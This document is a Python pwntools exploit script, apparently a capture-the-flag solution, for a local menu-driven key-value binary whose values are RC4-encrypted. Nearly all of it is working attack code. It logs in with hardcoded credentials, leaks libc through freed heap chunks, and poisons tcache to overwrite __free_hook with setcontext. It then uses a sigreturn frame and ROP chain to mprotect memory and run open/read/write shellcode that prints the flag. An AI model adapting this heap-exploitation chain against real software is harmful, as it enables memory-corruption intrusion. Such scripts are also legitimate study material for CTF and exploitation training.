1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124
| from pwn import * from Crypto.Cipher import ARC4 import struct
def debug(c = 0): if(c): gdb.attach(p, c) else: gdb.attach(p) pause() def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
sd = lambda data : p.send(data) sa = lambda text,data :p.sendafter(text, data) sl = lambda data :p.sendline(data) sla = lambda text,data :p.sendlineafter(text, data) rc = lambda num=4096 :p.recv(num) ru = lambda text :p.recvuntil(text) rl = lambda :p.recvline() pr = lambda num=4096 :print(p.recv(num)) ia = lambda :p.interactive() l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00')) uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00')) int16 = lambda data :int(data,16) lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
context(arch = "amd64",os = "linux",log_level = "debug")
context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] file = "./pwn" libc = "./libc.so.6" cmd = """ """
p = process(file) elf = ELF(file) libc = ELF(libc)
def menu(idx): sla("5. Exit\n> \n", str(idx))
def add(idx, size, cont='a'): menu(1) sla("the key: \n", str(idx)) sla("the value size: \n", str(size)) ru("the value: \n") sl(cont)
def show(idx): menu(2) sla("the key: \n", str(idx)) ru("The result is:\n\t[key,value] = [") ru(",")
def free(idx): menu(3) sla("the key: \n", str(idx))
def edit(idx, cont): menu(4) sla("the key: \n", str(idx)) ru("the value: \n") sl(cont)
def rc4_crypt(data): enc = ARC4.new(rc4key) return enc.decrypt(data)
rc4key = b"s4cur1ty_p4ssw0rd" sla("Input your username:\n", '4dm1n') sla("Input your password:\n", '985da4f8cb37zkj')
for i in range(10): add(i, 0x90)
for i in range(8): free(i)
show(7) libc.address = u64(rc4_crypt(rc(8)).ljust(8,b'\x00')) - 0x3ebca0 setcontext = libc.sym["setcontext"] + 53 free_hook = libc.sym["__free_hook"] read = libc.sym["read"]
lg("libc", libc.address)
add(0, 0x200) add(1, 0x200) free(1) free(0) edit(0, rc4_crypt(p64(free_hook)))
frame = SigreturnFrame() frame.rsp = free_hook frame.rdi = 0 frame.rsi = free_hook frame.rdx = 0x300 frame.rip = read
add(0, 0x200, bytes(frame)) add(1, 0x200, rc4_crypt(p64(setcontext))) free(0)
rdx_rsi_ret = libc.address + 0x130539 rdi_ret = libc.address + 0x2164f mprotect = libc.sym["mprotect"]
payload = flat(rdi_ret, free_hook & ~0xfff, rdx_rsi_ret, 7, 0x1000, mprotect, free_hook + 0x38) shellcode = shellcraft.open('flag') shellcode += shellcraft.read(3, free_hook + 0x300, 0x30) shellcode += shellcraft.write(1, free_hook + 0x300, 0x30) payload += asm(shellcode)
sl(payload) ia()
|